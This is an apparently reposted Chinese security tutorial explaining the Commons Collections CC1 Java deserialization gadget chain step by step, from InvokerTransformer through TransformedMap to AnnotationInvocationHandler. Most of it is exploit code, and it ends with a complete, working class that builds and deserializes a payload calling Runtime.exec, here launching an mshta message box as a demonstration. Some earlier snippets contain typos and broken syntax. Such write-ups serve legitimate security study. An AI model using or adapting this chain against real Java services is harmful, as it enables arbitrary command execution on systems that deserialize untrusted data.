java反序列化
CC1
入口是Transformer接口的transform方法
transform方法被21个类实现了,入口类是InvokerTransformer
InvokerTransformer类里面调用了transform方法,这个方法对传入对象object,会用反射调用此对象的指定的方法。
InvokerTransformer的构造方法
这里可以看到,需要传入方法,参数类型,对象。
所以可以这样写:
Runtime
r
=
Runtime.getRuntime();
new
InvokerTransformer
(
"exec"
,
new
Class
[]{String.class},
new
Object
[]{
"calc"
}).transform(r);
可以看到是可以执行的
下面就需要去寻找什么地方调用了transform方法,
我们找到了TransformMap类,这里的checkSetValue方法调用了transform方法
我们先看TransformMap
它的构造方法是一个protect,只能在类的内部调用,所以我们接着看
decorate实例化了TransformedMap类
那么哪里调用了checkSetValue方法呢
只有一个
发现是AbstractInputCheckedMapDecorator类中的setValue方法调用,而且AbstractInputCheckMapDecorator类是TransformedMap类的父类
Runtime
r
=
Runtime.getRuntime();
InvorkerTransformer
invokerTransformer
=
new
InvokerTransformer
(
"exec"
,
new
Class
[]{Stirng.class},
new
Object
[]{
"calc"
});
Map<Object,Object> map =
new
HashMap
<>();
map.put(
"aaa"
,
"bbb"
);
Map<Object,Object> transformedmap = TransformedMap(map,
null
,invokerTransformer);
for
(Map.Entry entry:transformedmap.entrySet()){
entry.setValue(r);
}
这里就是,要调用setValue()方法,AbstractInputCheckMapDecorator类是TransformedMap类的父类,双亲委派机制,会调用父类的setValue,运行的时候parent=TransformMap(idea调出来的),然后进入TransformedMap类的checkValue方法,而checkValue方法会返回valueTransformer.transform()。这里的valueTransform我们在实例化TransformedMap类的时候我们传入的是invokerTransform,所以就调用了invokerTransform.tranform(r)。r作为object value 一直没变,传递下来
也是成功的
所以我们下面需要知道哪里调用了setValue类
接着就找到了类AnnotationInvocationHandler,这个里面既有readObject重写,又在readObject中调用了setValue方法
我们先看AnnotationInvocationHandler类
可以发现:它没有public,需要反射来获取这个类,
而这个类的构造方法:
需要一个类继承了Annotation注释类,传一个注释
一个Map对象
反射这样写:
Class
c
=
Class.forname(
"sun.reflect.annotation.AnnotationInvocationHandler"
);
Constructor
annotationInvocationHandlerconstructor
=
c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(
true
);
Object
o
=
annotationInvocationHandlerconstructor.newInstance(Target.class,transformedmap)
处理Runtime类不可被序列化
由于Runtime类是不可序列化的,但是Class类可以,可以反射调用
动态类加载
Invokertransformer就可以,它的参数都是可控的,而且Invokertransformer是可以序列化的,所以可以利用Invokertransformer和反射调用Runtime类:
Method
Runmethod
=
(Method)
new
InvokerTransformer
(
"getDeclaredMethod"
,
new
Class
[]{String.class,class.class},
new
Object
[]{getRuntime,
null
}).transform(Runtime.class);
调用Invokertransformer方法的构造函数,传入的第一个参数是要调用的方法,第二个参数是调用的方法需要的参数类型,第三个参数代表参数的具体值,所以这段的意思是Runmethod = Runtime.class.getDeclaredMethod("getRuntime",null);
Runtime
r
=
(Runtime)
new
InvokerTransformer
(
"invoke"
,
new
Class
[]{Object.class,Object[].class},
new
Object
[]{
null
,
null
}).transform(Runmethod);
r = Runmethod.invoke
Method
execmethod
=
(Method)
new
InvokerTransformer
(
"getDeclaredMethod"
,
new
Class
[]{String.class,Class.class},
new
Object
[]{
"exec"
,String[].class}).transform(Runtime.class);
execmethod = Runtime.class.getDeclaredMethod("exec");
new
InvokerTransformer
(
"invoke"
,
new
Class
[]{String.class},
new
Object
[]{
"exec"
}).transform(r);
这样就会造成一个问题:
我们原本在transformedmap里面需要传入一个invokertransform对象,现在对象没有了,变成了上面的四段代码
我们看transform的接口ChainedTransformer中
可以看到 ChainedTransformer会对传入的数组进行递归调用transform方法,那么我们让这个数组的元素是invokertransformer就可以了
Transformer[] transformers =
new
Transformer
[]{
new
InvokerTransformer
(
"getMethod"
,
new
Class
[]{String.class,Class[].class},
new
Object
[]{
"getRuntime"
.
null
}),
new
InvokerTransformer
(
"invoke"
,
new
Class
[]{Object.class,object[].class},
new
Object
[]{
null
,
null
}),
new
InvokerTransformer
(
"exec"
,
new
Class
[]{String.class},
new
Object
[]{
"mshta vbscript:msgbox("恭喜你成功完成CC1! ",64,"Congratulation! ")(Window.close)"
});
ChainedTransformer
chainedTransformer
=
new
ChainedTransformer
(transformers);
chainedTransformer.transform(Runtime.class);
}
而我们需要的是需要提前写入transform(Runtime.class)
这里有ConstantTransformer类:
这里就是不管我们传入transoform中什么,如果我们的constantToReturn传入什么,transform就返回什么,我们传入Runtime.class,就返回Runtime.class
所以:
Transformer[] transformers=
new
Transformer
[]{
new
ConstantTransformer
(Runtime.class),
new
InvokerTransformer
(
"getMethod"
,
new
Class
[]{String.class,Class[].class},
new
Object
[]{
"getRuntime"
,
null
}),
new
InvokerTransformer
(
"invoke"
,
new
Class
[]{Object.class,Object[].class},
new
Object
[]{
null
,
null
}),
new
InvokerTransformer
(
"exec"
,
new
Class
[]{String.class},
new
Object
[]{
" mshta vbscript:msgbox("恭喜你成功完成CC1!",64,"Congratulations!")(window.close)"
})
};
ChainedTransformer
chainedTransformer
=
new
ChainedTransformer
(transformers);
下面就只需要绕过AnnotationInocationHandler中的两个判断就可以执行setValue来接到我们的链子了
第一个判断是memberType !=null,
这里的name=map的里面的键值对的键名
而memberType=memberTypes的和map键值对键名同名的方法
我们跟进memberTypes
可以看到memberTypes取决于type
跟进type
可以看到type是我们初始化时传入的注释
所以
而我们可以看到注释中
只有Target注释中有value属性
override中没有属性
所以我们需要对map中传入的键名修改为value
这样memberType就不为空了
而这里我们可以看到
两个if都成功调用,这样我们的链子就连起来了
import
org.apache.commons.collections.Transformer;
import
org.apache.commons.collections.functors.ChainedTransformer;
import
org.apache.commons.collections.functors.ConstantTransformer;
import
org.apache.commons.collections.functors.InvokerTransformer;
import
org.apache.commons.collections.map.TransformedMap;
import
java.io.*;
import
java.lang.annotation.Target;
import
java.lang.reflect.Constructor;
import
java.lang.reflect.Method;
import
java.util.HashMap;
import
java.util.Map;
public
class
CC1
{
public
static
void
main
(String[] args)
throws
Exception {
Transformer[] transformers=
new
Transformer
[]{
new
ConstantTransformer
(Runtime.class),
new
InvokerTransformer
(
"getMethod"
,
new
Class
[]{String.class,Class[].class},
new
Object
[]{
"getRuntime"
,
null
}),
new
InvokerTransformer
(
"invoke"
,
new
Class
[]{Object.class,Object[].class},
new
Object
[]{
null
,
null
}),
new
InvokerTransformer
(
"exec"
,
new
Class
[]{String.class},
new
Object
[]{
" mshta vbscript:msgbox("恭喜你成功完成CC1!",64,"Congratulations!")(window.close)"
})
};
ChainedTransformer
chainedTransformer
=
new
ChainedTransformer
(transformers);
HashMap<Object,Object> map=
new
HashMap
<>();
map.put(
"value"
,
"aaa"
);
Map<Object,Object> transformedmap = TransformedMap.decorate(map,
null
, chainedTransformer);
Class
c
=
Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler"
);
Constructor
annotationconstructor
=
c.getDeclaredConstructor(Class.class, Map.class);
annotationconstructor.setAccessible(
true
);
Object
o
=
annotationconstructor.newInstance(Target.class, transformedmap);
serialize(o);
unserialize(
"ser.bin"
);
}
public
static
void
serialize
(Object obj)
throws
Exception {
ObjectOutputStream oos=
new
ObjectOutputStream
(
new
FileOutputStream
(
"ser.bin"
));
oos.writeObject(obj);
}
public
static
Object
unserialize
(String filename)
throws
Exception {
ObjectInputStream ois=
new
ObjectInputStream
(
new
FileInputStream
(filename));
Object obj=ois.readObject();
return
obj;
}
}
原文始发于微信公众号(SKSEC):【表哥有话说 第107期】java反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论